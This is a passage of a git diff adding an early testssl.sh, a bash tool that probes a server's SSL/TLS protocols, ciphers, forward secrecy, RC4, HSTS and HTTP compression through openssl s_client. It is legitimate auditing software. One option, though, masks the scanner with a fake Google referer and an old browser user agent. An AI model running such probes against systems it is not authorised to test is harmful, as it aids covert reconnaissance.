index 0000000..d5365db
--- /dev/null
+++ b/testssl
@@ -0,0 +1 @@
+testssl.sh
\ No newline at end of file
diff --git a/testssl.sh b/testssl.sh
new file mode 100755 (executable)
index 0000000..7c68dd7
--- /dev/null
@@ -0,0 +1,1789 @@
+#!/usr/bin/env bash
+# bash is needed for some distros which use dash as /bin/sh and for the heartbleed check!
+
+# Program for spotting weak SSL encryption, ciphers, version and some vulnerablities or features
+
+VERSION="2.1alpha"
+SWURL="https://testssl.sh"
+SWCONTACT="dirk aet testssl dot sh"
+
+# Author: Dirk Wetter, copyleft: 2007-2014
+#
+# License: GPLv2, see http://www.fsf.org/licensing/licenses/info/GPLv2.html
+# and accompanying license "LICENSE.txt". Redistribution + modification under this
+# license permitted. 
+# If you enclose this script or parts of it in your software, it has to
+# be accompanied by the same license (see link) and the place where to get
+# the recent version of this program: https://testssl.sh
+# Don't violate the license.
+#
+# USAGE WITHOUT ANY WARRANTY, THE SOFTWARE IS PROVIDED "AS IS". USE IT AT
+# your OWN RISK
+
+# I know reading this shell script is neither nice nor it's rocket science.  However openssl 
+# is a such a good swiss army knife (e.g. wiki.openssl.org/index.php/Command_Line_Utilities)
+# that it was difficult to resist wrapping it with some shell commandos. That's how everything
+# started -- but that was (and still is) a long way to go.
+#
+# One can do the same in other languages and/or choose another crypto provider as openssl -- YMMV.
+
+# Q: So what's the difference between https://www.ssllabs.com/ssltest or
+#    https://sslcheck.globalsign.com/?
+# A: As of now ssllabs only check webservers on standard ports, reachable from
+#    the internet. And those are 3rd parties. If those four restrictions are fine
+#    with you, they might tell you more than this tool -- as of now.
+
+# Note that 56Bit ciphers are disabled during compile time in $OPENSSL > 0.9.8c
+# (http://rt.$OPENSSL.org/Ticket/Display.html?user=guest&pass=guest&id=1461)
+# ---> TLS1_ALLOW_EXPERIMENTAL_CIPHERSUITES in ssl/tls1.h . For testing it's recommended 
+# to change this to 1 and recompile e.g. w/ ./config --prefix=/usr/  --openssldir=/etc/ssl .
+# Also some distributions disable SSLv2. Please note: Everything which is disabled or not
+# supported on the client side is not possible to test on the server side!
+# Thus as a courtesy I provide openssl binaries for Linux which have everything you need
+# enabled, see website
+#
+
+# following variables make use of $ENV, e.g. OPENSSL=<myprivate_path_to_openssl> ./testssl.sh <host>
+
+#OPENSSL="${OPENSSL:-/usr/bin/openssl}"        # private openssl version --> is now evaluated below
+CAPATH="${CAPATH:-/etc/ssl/certs/}"    # same as previous. Doing nothing yet. FC has only a CA bundle per default, ==> openssl version -d
+OSSL_VER=""                            # openssl version, will be autodetermined
+NC=""                                  # netcat will be autodetermined
+ECHO="/usr/bin/printf"                 # works under Linux, BSD, MacOS. watch out under Solaris, not tested yet under cygwin
+COLOR=0                                        # with screen, tee and friends put 1 here (i.e. no color)
+SHOW_LCIPHERS=no               # determines whether the client side ciphers are displayed at all (makes no sense normally)
+VERBERR=${VERBERR:-1}          # 0 means to be more verbose (some like the errors to be dispayed so that one can tell better
+               # whether the handshake succeeded or not. For errors with individual ciphers you also need to have SHOW_EACH_C=1
+LOCERR=${LOCERR:-1}                    # Same as before, just displays am error if local cipher isn't support
+SHOW_EACH_C=${SHOW_EACH_C:-0}  # where individual ciphers are tested show just the positively ones tested
+SNEAKY=${SNEAKY:-1}                    # if zero: the referer and useragent we leave while checking the http header is just usual
+#FIXME: consequently we should mute the initial netcat and openssl s_client -connect as they cause a 400 (nginx, apache)
+
+#FIXME: still to be filled with (more) sense:
+DEBUG=${DEBUG:-0}                      # if 1 the temp file won't be erased. Currently only keeps the last output anyway
+VERBOSE=${VERBOSE:-0}          # if 1 it shows what's going on. Currently only used for heartbleed and ccs injection
+VERB_CLIST=""                  # ... and if so, "-V" shows them row by row cipher, SSL-version, KX, Au, Enc and Mac
+HSTS_MIN=180                           #>180 days is ok for HSTS
+NPN_PROTOs="spdy/4a2,spdy/3,spdy/3.1,spdy/2,spdy/1,http/1.1"
+
+#global vars:
+TLS_PROTO_OFFERED=""
+SOCKREPLY=""
+HEXC=""
+SNI=""
+IP4=""
+IP6=""
+OSSL_VER_MAJOR=0
+OSSL_VER_MINOR=0
+OSSL_VER_APPENDIX="none"
+NODEIP=""
+IPS=""
+
+go2_column() { $ECHO "\033[${1}G"; }
+
+out() {
+       # if 2 args: second is column position
+       [ ! -z "$2" ] && go2_column "$2"
+       $ECHO "$1"
+}
+
+outln() {
+       [ ! -z "$1" ] && $ECHO "$1"
+       $ECHO "\n"
+}
+
+# some functions for text (i know we could do this with tput, but what about systems having no terminfo?
+# http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
+off() {
+       out "\033[m\c"
+}
+
+liteblue() { 
+       [ $COLOR = 0 ] && out "\033[0;34m$1 " || out "$1 "
+       off
+}
+liteblueln() { liteblue "$1"; outln; }
+
+blue() { 
+       [ $COLOR = 0 ] && out "\033[1;34m$1 " || out "$1 "
+       off
+}
+blueln() { blue "$1"; outln; }
+
+litered() { 
+       [ $COLOR = 0 ] && out "\033[0;31m$1 " || out "*$1* "
+       off
+}
+literedln() { litered "$1"; outln; }
+
+red() { 
+       [ $COLOR = 0 ] && out "\033[1;31m$1 " || "**$1** "
+       off
+}
+redln() { red "$1"; outln; }
+
+litemagenta() { 
+       [ $COLOR = 0 ] && out "\033[0;35m$1 " || out "$1 "
+       off
+}
+litemagentaln() { litemagenta "$1"; outln; }
+
+
+magenta() { 
+       [ $COLOR = 0 ] && out "\033[1;35m$1 " || out "**$1** "
+       off
+}
+magentaln() { magenta "$1"; outln; }
+
+litecyan() { 
+       [ $COLOR = 0 ] && out "\033[0;36m$1 " || out "$1 "
+       off
+}
+litecyanln() { litecyan "$1"; outln; }
+
+cyan() { 
+       [ $COLOR = 0 ] && out "\033[1;36m$1 " || out "**$1** "
+       off
+}
+cyanln() { cyan "$1"; outln; }
+
+grey() { 
+       [ $COLOR = 0 ] && out "\033[1;30m$1 " || out "$1 "
+       off
+}
+greyln() { grey "$1"; outln; }
+
+litegrey() { 
+       [ $COLOR = 0 ] && out "\033[0;37m$1 " || out "$1 "
+       off
+}
+litegreyln() { litegrey "$1"; outln; }
+
+litegreen() { 
+       [ $COLOR = 0 ] && out "\033[0;32m$1 " || out "$1 "
+       off
+}
+litegreenln() { litegreen "$1"; outln; }
+
+green() { 
+       [ $COLOR = 0 ] && out "\033[1;32m$1 " || out "**$1** "
+       off
+}
+greenln() { green "$1"; outln; }
+
+brown() { 
+       [ $COLOR = 0 ] && out "\033[0;33m$1 " || out "**$1** "
+       off
+}
+brownln() { brown "$1"; outln; }
+
+yellow() { 
+       [ $COLOR = 0 ] && out "\033[1;33m$1 " || out "**$1** "
+       off
+}
+yellowlnln() { yellowln "$1"; outln; }
+
+bold() { out "\033[1m$1"; off; }
+boldln() { bold "$1" ; outln; }
+
+underline() { out "\033[4m$1" ; off; }
+
+boldandunder() { out "\033[1m\033[4m$1" ; off; }
+
+reverse() { out "\033[7m$1" ; off; }
+
+
+# whether it is ok for offer/not offer enc/cipher/version
+ok(){
+       if [ "$2" -eq 1 ] ; then                
+               case $1 in
+                       1) redln "offered (NOT ok)" ;;   # 1 1
+                       0) greenln "NOT offered (ok)" ;; # 0 1
+               esac
+       else    
+               case $1 in
+                       3) brownln "offered" ;;                 # 2 0
+                       2) boldln "offered" ;;                  # 2 0
+                       1) greenln "offered (ok)" ;;    # 1 0
+                       0) boldln "not offered" ;;      # 0 0
+               esac
+       fi
+       return $2
+}
+
+# in a nutshell: It's HTTP-level compression & an attack which works against any cipher suite and 
+# is agnostic to the version of TLS/SSL, more: http://www.breachattack.com/
+breach() {
+       bold " BREACH"; out " =HTTP Compression, experimental    "
+       [ -z "$1" ] && url="/"
+# referers are important here!
+       if [ $SNEAKY -eq 0 ] ; then
+               referer="Referer: http://google.com/" # see https://community.qualys.com/message/20360
+               useragent="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
+       else
+               referer="Referer: TLS/SSL-Tester from $SWURL"
+               useragent="User-Agent: Mozilla/4.0 (X11; Linux x86_64; rv:42.0) Gecko/19700101 Firefox/42.0"
+       fi
+       (
+       $OPENSSL  s_client -quiet -connect $NODEIP:$PORT $SNI << EOF
+GET $url HTTP/1.1
+Host: $NODE
+$useragent
+Accept-Language: en-US,en
+Accept-encoding: gzip,deflate,compress
+$referer
+Connection: close
+
+EOF
+) &>$HEADERFILE_BREACH
+ret=$?
+# sometimes it hangs here. Currently only kill helps
+#test  $DEBUG -eq 1 && \
+result=`cat $HEADERFILE_BREACH | grep -a '^Content-Encoding' | sed -e 's/^Content-Encoding//' -e 's/://' -e 's/ //g'`
+result=`echo $result | tr -cd '\40-\176'`
+     if [ -z $result ]; then
+               green "no HTTP compression " 
+       else
+               litered "uses $result compression "
+       fi
+# Catch: any URL cvan be vulnerable. I am testing now only the root
+       outln "(only \"$url\" tested)"
+
+       return $ret
+}
+
+
+#problems not handled: chunked, 302
+http_header() {
+       [ -z "$1" ] && url="/"
+       if [ $SNEAKY -eq 0 ] ; then
+               referer="Referer: " 
+               useragent="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
+       else
+               referer="Referer: TLS/SSL-Tester from $SWURL"
+               useragent="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/19700101 Firefox/42.0"
+       fi
+       (
+       $OPENSSL  s_client -quiet -connect $NODEIP:$PORT $SNI << EOF
+GET $url HTTP/1.1
+Host: $NODE
+$useragent
+Accept-Language: en-US,en
+$referer
+Connection: close
+
+EOF
+) &>$HEADERFILE
+       ret=$?
+       # sometimes it hangs here ^^^. Currently only kill helps
+       test $DEBUG -eq 1 && cat $HEADERFILE
+       sed  -e '/^<HTML/,$d' -e '/^<html/,$d' -e '/^<XML /,$d' -e '/<?XML /,$d' \
+          -e '/^<xml /,$d' -e '/<?xml /,$d'  -e '/^<\!DOCTYPE/,$d' -e '/^<\!doctype/,$d' $HEADERFILE >$HEADERFILE.2
+#### ^^^ Attention: the filtering for the html body only as of now, doesn't work for other content yet
+       mv $HEADERFILE.2  $HEADERFILE    # sed'ing in place doesn't work with BSD and Linux simultaneously
+
+         return $ret
+}
+
+#FIXME: it doesn't follow a 30x. At least a path should be possible to provide
+hsts() {
+       [ -s $HEADERFILE ] || http_header
+       bold " HSTS        "
+       grep -i '^Strict-Transport-Security' $HEADERFILE >$TMPFILE
+       if [ $? -eq 0 ]; then
+# fix Markus Manzke:
+               AGE_SEC=`sed -e 's/\r//g' -e 's/^.*max-age=//' -e 's/;.*//' $TMPFILE` 
+               AGE_DAYS=`expr $AGE_SEC \/ 86400`
+               if [ $AGE_DAYS -gt $HSTS_MIN ]; then
+                       litegreen "$AGE_DAYS days \c" ; outln "($AGE_SEC s)"
+               else
+                       brown "$AGE_DAYS days (<$HSTS_MIN is not good enough)"
+               fi
+       else
+               litecyan "no"
+       fi
+       outln
+
+       rm $TMPFILE
+       return $?
+}
+
+serverbanner() {
+       [ -s $HEADERFILE ] || http_header
+       bold " Server      "
+       grep -i '^Server' $HEADERFILE >$TMPFILE
+       if [ $? -eq 0 ]; then
+               #out=`cat $TMPFILE | sed -e 's/^Server: //' -e 's/^server: //' -e 's/^[[:space:]]//'`
+               serverbanner=`cat $TMPFILE | sed -e 's/^Server: //' -e 's/^server: //'`
+#              if [ x"$out" == "x\n" -o x"$out" == "x\n\r" -o x"$out" == "x" ]; then
+#                      outln "(line exists but empty string)"
+#              else
+                       outln "$serverbanner"
+#              fi
+       else
+               outln "(None, interesting!)"
+       fi
+
+       bold " Application"
+# examples: php.net, asp.net , www.regonline.com
+       egrep -i '^X-Powered-By|^X-AspNet-Version|^X-Runtime|^X-Version' $HEADERFILE >$TMPFILE
+       if [ $? -eq 0 ]; then
+               #cat $TMPFILE | sed 's/^.*:/:/'  | sed -e :a -e '$!N;s/\n:/ \n\             +/;ta' -e 'P;D' | sed 's/://g' 
+               cat $TMPFILE | sed 's/^/ /' 
+       else
+               litegrey " (None)"
+       fi
+       outln
+
+       rm $TMPFILE
+       return $?
+}
+
+#dead function as of now
+secure_cookie() {      # ARG1: Path
+       [ -s $HEADERFILE ] || http_header
+       grep -i '^Set-Cookie' $HEADERFILE >$TMPFILE
+       if [ $? -eq 0 ]; then
+               outln "Cookie issued, status: "
+               if grep -q -i secure $TMPFILE; then
+                       litegreenln "Secure Flag"
+                       echo $TMPFILE
+               else
+                       outln "no secure flag"
+               fi
+       fi
+}
+#FIXME: Access-Control-Allow-Origin, CSP, Upgrade, X-Frame-Options, X-XSS-Protection, X-Content-Type-Options
+# https://en.wikipedia.org/wiki/List_of_HTTP_header_fields
+
+
+# #1: string with 2 opensssl codes, HEXC= same in NSS/ssllab terminology
+normalize_ciphercode() {
+       part1=`echo "$1" | awk -F',' '{ print $1 }'`
+       part2=`echo "$1" | awk -F',' '{ print $2 }'`
+       part3=`echo "$1" | awk -F',' '{ print $3 }'`
+       if [ "$part1" == "0x00" ] ; then                # leading 0x00
+               HEXC=$part2
+       else
+               part2=`echo $part2 | sed 's/0x//g'`
+               if [ -n "$part3" ] ; then    # a SSLv2 cipher has three parts
+                       part3=`echo $part3 | sed 's/0x//g'`
+               fi
+               HEXC="$part1$part2$part3"
+       fi
+       HEXC=`echo $HEXC | tr 'A-Z' 'a-z'` #tolower
+       return 0
+}
+
+prettyprint_local() {
+       if [ -z "$1" ]; then
+               blue "--> Displaying all local ciphers"; outln "\n"
+       fi
+
+       neat_header
+
+       $OPENSSL ciphers -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode dash ciph sslversmin kx auth enc mac export; do
+               normalize_ciphercode $hexcode
+               if [ -n "$1" ]; then
+                       echo $HEXC | grep -iq "$1" || continue
+               fi
+               neat_list $HEXC $ciph $kx $enc
+               outln
+       done
+       outln
+
+       return 0
+}
+
+
+# list ciphers (and makes sure you have them locally configured)
+# arg[1]: cipher list (or anything else)
+listciphers() {
+       if [ $LOCERR = 0 ]; then
+               $OPENSSL ciphers "$VERB_CLIST" $1 2>&1 >$TMPFILE
+       else
+               $OPENSSL ciphers "$VERB_CLIST" $1  &>$TMPFILE
+       fi
+       return $?
+}
+
+
+# argv[1]: cipher list to test 
+# argv[2]: string on console
+# argv[3]: ok to offer? 0: yes, 1: no
+std_cipherlists() {
+       out "$2 "; 
+       if listciphers $1; then
+               [ x$SHOW_LCIPHERS = "xyes" ] && out "local ciphers are: " && cat $TMPFILE | sed 's/:/, /g'
+               $OPENSSL s_client -cipher "$1" $STARTTLS -connect $NODEIP:$PORT $SNI 2>$TMPFILE >/dev/null </dev/null
+               ret=$?
+               if [ $VERBERR -eq 0 ]; then
+               #       echo | $OPENSSL s_client -cipher $1  -connect "$NODE:$PORT" >&1 >$TMPFILE
+                       head -2 $TMPFILE | egrep -v "depth|num="
+               fi
+               if [ $3 -eq 0 ]; then           # ok to offer
+                       if [ $ret -eq 0 ]; then # was offered
+                               ok 1 0                  # green
+                       else
+                               ok 0 0                  # black
+                       fi
+               elif [ $3 -eq 2 ]; then         # not really bad
+                       if [ $ret -eq 0 ]; then
+                               ok 2 0                  # offered in bold
+                       else
+                               ok 0 0              # not offered also in bold
+                       fi
+               else
+                       if [ $ret -eq 0 ]; then
+                               ok 1 1                  # was offered! --> red
+                       else
+                               #ok 0 0                 # was not offered, that's ok
+                               ok 0 1                  # was not offered --> green
+               fi
+       fi
+       rm $TMPFILE
+       else
+               magenta "Local problem: No $2 configured in $OPENSSL" ; outln
+       fi
+       # we need lf in those cases:
+       [ "$LOCERR" -eq 0 ] && echo
+       [ "$VERBERR" -eq 0 ] && echo
+}
+
+# sockets inspired by http://blog.chris007.de/?p=238
+# ARG1: hexbyte, ARG2: hexode for TLS Version, ARG3: sleep
+socksend() {
+       data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
+       [ $VERBOSE -eq 1 ] && echo "\"$data\""
+       out "$data" >&5 &
+       sleep $3
+}
+sockread() {
+       SOCKREPLY=`dd bs=$1 count=1 <&5 2>/dev/null`
+}
+
+
+show_rfc_style(){
+       RFCname=`grep -iw $1 $MAP_RFC_FNAME | sed -e 's/^.*TLS/TLS/' -e 's/^.*SSL/SSL/'`
+     if [ -n "$RFCname" ] ; then
+               out "$RFCname" "$2";
+       fi
+}
+
+# header and list for all_ciphers+cipher_per_proto, and PFS+RC4
+neat_header(){
+       out " Hexcode";  out "Cipher Suite Name (OpenSSL)" 13; out "KeyExch." 43; out "Encryption" 52; out "Bits" 63
+       [ -r $MAP_RFC_FNAME ] && out "Cipher Suite Name (RFC)" 73
+       outln 
+       printf "%s-----------------------------------------------------------------------"
+       [ -r $MAP_RFC_FNAME ] && printf "%s---------------------------------------------"
+       outln 
+}
+
+neat_list(){
+       kx=`echo $3 | sed 's/Kx=//g'`
+       enc=`echo $4 | sed 's/Enc=//g'`
+       strength=`echo $enc | sed -e 's/.*(//' -e 's/)//'`
+       strength=`echo $strength | sed -e 's/ChaCha20-Poly1305//g'` # workaround for empty strength=ChaCha20-Poly1305
+       enc=`echo $enc | sed -e 's/(.*)//g'`
+       echo "$export" | grep -iq export && strength="$strength,export"
+       out " [$1]"; out "$2" 13;  out "$kx" 43; out "$enc" 54; out "$strength" 63
+       [ -r $MAP_RFC_FNAME ] && show_rfc_style $HEXC 73
+}
+
+
+# test for all ciphers locally configured (w/o distinguishing whether they are good or bad
+allciphers(){
+# FIXME: e.g. OpenSSL < 1.0 doesn't understand "-V"
+       blue "--> Testing all locally available ciphers against the server"; outln "\n"
+       neat_header
+       $OPENSSL ciphers -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode n ciph sslvers kx auth enc mac export; do
+               $OPENSSL s_client -cipher $ciph $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE  </dev/null
+               ret=$?
+               if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ]; then
+                       continue                # no successful connect AND not verbose displaying each cipher
+               fi
+               normalize_ciphercode $hexcode
+               neat_list $HEXC $ciph $kx $enc
+               if [ "$SHOW_EACH_C" -ne 0 ]; then
+                       [ -r $MAP_RFC_FNAME ] && go2_column 114
+                       if [ $ret -eq 0 ]; then
+                               cyan "  available"
+                       else
+                               out "  not a/v"
+                       fi
+               fi
+               outln
+               rm $TMPFILE
+       done
+       return 0
+}
+
+# test for all ciphers per protocol locally configured (w/o distinguishing whether they are good or bad
+cipher_per_proto(){
+       blue "--> Testing all locally available ciphers per protocol against the server"; outln "\n"
+       neat_header
+       outln " -ssl2 SSLv2\n -ssl3 SSLv3\n -tls1 TLSv1\n -tls1_1 TLSv1.1\n -tls1_2 TLSv1.2"| while read proto prtext; do
+               locally_supported "$proto" "$prtext" || continue
+               outln
+               $OPENSSL ciphers $proto -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode n ciph sslvers kx auth enc mac export; do
+                       $OPENSSL s_client -cipher $ciph $proto $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE  </dev/null
+                       ret=$?
+                       if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ]; then
+                               continue       # no successful connect AND not verbose displaying each cipher
+                       fi
+                       normalize_ciphercode $hexcode
+                       neat_list $HEXC $ciph $kx $enc
+                       if [ "$SHOW_EACH_C" -ne 0 ]; then
+                               [ -r $MAP_RFC_FNAME ] && go2_column 114
+                               if [ $ret -eq 0 ]; then
+                                       cyan "  available"
+                               else
+                                       out "  not a/v"
+                               fi
+                       fi
+                       outln
+                       rm $TMPFILE
+               done
+       done
+
+       return 0
+}
+
+locally_supported() {
+       out "$2 "
+       $OPENSSL s_client "$1" 2>&1 | grep -q "unknown option"
+       if [ $? -eq 0 ]; then
+               magenta "Local problem: $OPENSSL doesn't support \"s_client $1\""
+               return 7
+       else
+               return 0
+       fi
+}
+
+testversion_new() {
+       $OPENSSL s_client -state $1 $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE </dev/null
+       ret=$?
+       [ "$VERBERR" -eq 0 ] && cat $TMPFILE | egrep "error|failure" | egrep -v "unable to get local|verify error"
+       rm $TMPFILE
+       return $ret
+}
+
+testprotohelper() {
+       if locally_supported "$1" "$2" ; then
+               testversion_new "$1" "$2" 
+               return $?
+       else
+               return 7
+       fi
+}
+
+
+runprotocols() {
+       blue "--> Testing Protocols"; outln "\n"
+       # e.g. ubuntu's 12.04 openssl binary + soon others don't want sslv2 anymore: bugs.launchpad.net/ubuntu/+source/openssl/+bug/955675
+       # Sonderlocke hier #FIXME kann woanders auch auftauchen!
+       testprotohelper -ssl2 " SSLv2     " 
+       ret=$?; 
+       if [ $ret -ne 7 ]; then
+               if [ $ret -eq 0 ]; then
+                       ok 1 1          # red 
+               else
+                       ok 0 1          # green "not offered (ok)"
+               fi
+       fi
+       
+       if testprotohelper -ssl3 " SSLv3     " ; then
+               ok 3 0                  # brown "offered" 
+       else
+               ok 0 1                  # green "not offered (ok)"
+       fi
+
+       if testprotohelper "-tls1" " TLSv1     "; then
+               ok 1 0
+       else
+               ok 0 0  
+       fi
+
+       if testprotohelper "-tls1_1" " TLSv1.1   "; then
+               ok 1 0
+       else
+               ok 0 0  
+       fi
+
+       if testprotohelper "-tls1_2" " TLSv1.2   "; then
+               ok 1 0
+       else
+               ok 0 0  
+       fi
+       return 0
+}
+
+run_std_cipherlists() {
+       outln
+       blue "--> Testing standard cipher lists"; outln "\n"
+# see man ciphers
+       std_cipherlists NULL:eNULL                   " Null Cipher             " 1
+       std_cipherlists aNULL                        " Anonymous NULL Cipher   " 1
+       std_cipherlists ADH                          " Anonymous DH Cipher     " 1
+       std_cipherlists EXPORT40                     " 40 Bit encryption       " 1
+       std_cipherlists EXPORT56                     " 56 Bit encryption       " 1
+       std_cipherlists EXPORT                       " Export Cipher (general) " 1
+       std_cipherlists LOW                          " Low (<=64 Bit)          " 1
+       std_cipherlists DES                          " DES Cipher              " 1
+       std_cipherlists 3DES                         " Triple DES Cipher       " 2
+       std_cipherlists "MEDIUM:!NULL:!aNULL:!SSLv2" " Medium grade encryption " 2
+       std_cipherlists "HIGH:!NULL:!aNULL"          " High grade encryption   " 0
+       return 0
+}
+
+simple_preference() {
+       outln
+       blue "--> Testing server defaults (Server Hello)"; outln "\n"
+       # throwing every cipher/protocol at the server and displaying its pick
+       $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT $SNI -tlsextdebug </dev/null 2>/dev/null >$TMPFILE
+       localtime=`date "+%s"`
+       if [ $? -ne 0 ]; then
+               magentaln "This shouldn't happen. "
+               ret=6
+       else
+               out " Negotiated protocol       "
+               TLS_PROTO_OFFERED=`grep -w "Protocol" $TMPFILE | sed -e 's/^ \+Protocol \+://' -e 's/ //g'`
+               case "$TLS_PROTO_OFFERED" in
+                       *TLSv1.2)               greenln $TLS_PROTO_OFFERED ;;
+                       *TLSv1.1)               litegreenln $TLS_PROTO_OFFERED ;;
+                       *TLSv1)         outln $TLS_PROTO_OFFERED ;;
+                       *SSLv2)         redln $TLS_PROTO_OFFERED ;;
+                       *SSLv3)         brownln $TLS_PROTO_OFFERED ;;
+                       *)                      outln "FIXME: $TLS_PROTO_OFFERED" ;;
+               esac
+
+               out " Negotiated cipher         "
+               default=`grep -w "Cipher" $TMPFILE | egrep -vw "New|is" | sed -e 's/^ \+Cipher \+://' -e 's/ //g'`
+               case "$default" in
+                       *NULL*|*EXP*)   redln "$default" ;;
+                       *RC4*)          literedln "$default" ;;
+                       *CBC*)          literedln "$default" ;; #FIXME BEAST: We miss some CBC ciphers here, need to work w/ a list
+                       *GCM*)          litegreenln "$default" ;; # best ones
+                       ECDHE*AES*)    brownln "$default" ;; # it's CBC. so lucky13
+                       *)                      outln "$default" ;;
+               esac
+               outln
+
+               out " Server key size           "
+               keysize=`grep -w "^Server public key is" $TMPFILE | sed -e 's/^Server public key is //'`
+               if [ -z "$keysize" ]; then
+                       outln "(couldn't determine)"
+               else
+                       case "$keysize" in
+                               1024*) literedln "$keysize" ;;
+                               2048*) outln "$keysize" ;;
+                               4096*) litegreenln "$keysize" ;;
+                               *) outln "$keysize" ;;
+                       esac
+               fi
+
+               out " TLS server extensions:    "
+               extensions=`grep -w "^TLS server extension" $TMPFILE | sed -e 's/^TLS server extension \"//' -e 's/\".*$/,/g'`
+               if [ -z "$extensions" ]; then
+                       outln "(none)"
+               else
+                       echo $extensions | sed 's/,$//' # remove last comma
+               fi
+
+               out " Session Tickets RFC 5077  "
+               sessticket_str=`grep -w "session ticket" $TMPFILE | grep lifetime`
+               if [ -z "$sessticket_str" ]; then
+                       outln "(none)"
+               else
+                       lifetime=`echo $sessticket_str | grep lifetime | sed 's/[A-Za-z:() ]//g'`
+                       unit=`echo $sessticket_str | grep lifetime | sed -e 's/^.*'"$lifetime"'//' -e 's/[ ()]//g'`
+                       outln "$lifetime $unit"
+               fi
+               ret=0
+
+               #gmt_unix_time, removed since 1.0.1f
+               #
+               #remotetime=`grep -w "Start Time" $TMPFILE | sed 's/[A-Za-z:() ]//g'`
+               #if [ ! -z "$remotetime" ]; then
+               #       remotetime_stdformat=`date --date="@$remotetime" "+%Y-%m-%d %r"`
+               #       difftime=`expr $localtime - $remotetime`
+               #       [ $difftime -gt 0 ] && difftime="+"$difftime
+               #       difftime=$difftime" s"
+               #       outln " remotetime? : $remotetime ($difftime) = $remotetime_stdformat"
+               #       outln " $remotetime"
+               #       outln " $localtime"
+               #fi
+               #http://www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+       fi
+
+       rm $TMPFILE
+       return $ret
+}
+
+
+# http://www.heise.de/security/artikel/Forward-Secrecy-testen-und-einrichten-1932806.html
+pfs() {
+       outln
+       blue "--> Testing (Perfect) Forward Secrecy  (P)FS)"; outln
+# https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy
+       PFSOK='EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA256 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EDH+aRSA EECDH RC4 !RC4-SHA !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS:@STRENGTH'
+#      PFSOK='EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH'
+
+       $OPENSSL ciphers -V "$PFSOK" >$TMPFILE
+       if [ $? -ne 0 ] || [ `wc -l $TMPFILE | awk '{ print $1 }' ` -lt 3 ]; then
+               out "Note: you have the following client side ciphers only for PFS. "
+               out "Thus it doesn't make sense to test PFS"
+               cat $TMPFILE 
+               return 1
+       fi
+       savedciphers=`cat $TMPFILE`
+       [ x$SHOW_LCIPHERS = "xyes" ] && echo "local ciphers available for testing PFS:" && echo `cat $TMPFILE`
+
+       $OPENSSL s_client -cipher 'ECDH:DH' $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE </dev/null
+       ret=$?
+       outln
+       if [ $ret -ne 0 ] || [ `grep -c "BEGIN CERTIFICATE" $TMPFILE` -eq 0 ]; then
+               brown "no PFS available"
+       else
+               litegreen "PFS seems generally available. Now testing specific ciphers ..."; outln "\n"
+               noone=0
+               neat_header
+               $OPENSSL ciphers -V "$PFSOK" | while read hexcode n ciph sslvers kx auth enc mac; do
+                       $OPENSSL s_client -cipher $ciph $STARTTLS -connect $NODEIP:$PORT $SNI &>/dev/null </dev/null
+                       ret=$?
+                       if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ] ; then
+                               continue # no successful connect AND not verbose displaying each cipher
+                       fi
+                       normalize_ciphercode $hexcode
+                       neat_list $HEXC $ciph $kx $enc $strength
+                       if [ "$SHOW_EACH_C" -ne 0 ] ; then
+                               [ -r $MAP_RFC_FNAME ] && go2_column 114
+                               if [ $ret -eq 0 ]; then
+                                       green "works"
+                               else
+                                       out "not a/v"
+                               fi
+                       else
+                               noone=1
+                       fi
+                       outln
+               done
+               outln
+               if [ "$noone" -eq 0 ] ; then
+                        out "Please note: detected PFS ciphers don't necessarily mean any client/browser will use them"
+                        ret=0
+               else
+                        magenta "no PFS ciphers found"
+                        ret=1
+               fi
+               outln
+       fi
+       rm $TMPFILE
+       return $ret
+}
+
+
+rc4() {
+       outln
+       blue "--> Checking RC4 Ciphers" ; outln
+       $OPENSSL ciphers -V 'RC4:@STRENGTH' >$TMPFILE 
+       [ x$SHOW_LCIPHERS = "xyes" ] && echo "local ciphers available for testing RC4:" && echo `cat $TMPFILE`
+       $OPENSSL s_client -cipher `$OPENSSL ciphers RC4` $STARTTLS -connect $NODEIP:$PORT $SNI &>/dev/null </dev/null
+       RC4=$?
+       if [ $RC4 -eq 0 ]; then
+               litered "\nRC4 seems generally available. Now testing specific ciphers..."; outln "\n"
+               bad=1
+               neat_header
+               cat $TMPFILE | while read hexcode n ciph sslvers kx auth enc mac; do
+                       $OPENSSL s_client -cipher $ciph $STARTTLS -connect $NODEIP:$PORT $SNI </dev/null &>/dev/null
+                       ret=$?
+                       if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ] ; then
+                               continue # no successful connect AND not verbose displaying each cipher
+                       fi
+                       normalize_ciphercode $hexcode
+                       neat_list $HEXC $ciph $kx $enc $strength
+                       if [ "$SHOW_EACH_C" -ne 0 ]; then
+                               [ -r $MAP_RFC_FNAME ] && go2_column 114
+                               if [ $ret -eq 0 ]; then
+                                       litered "available "
+                               else
+                                       out "not a/v "
+                               fi
+                       else
+                               bad=1
+                               out
+                       fi
+                       outln
+               done
+               # https://en.wikipedia.org/wiki/Transport_Layer_Security#RC4_attacks
+               # http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html
+               outln
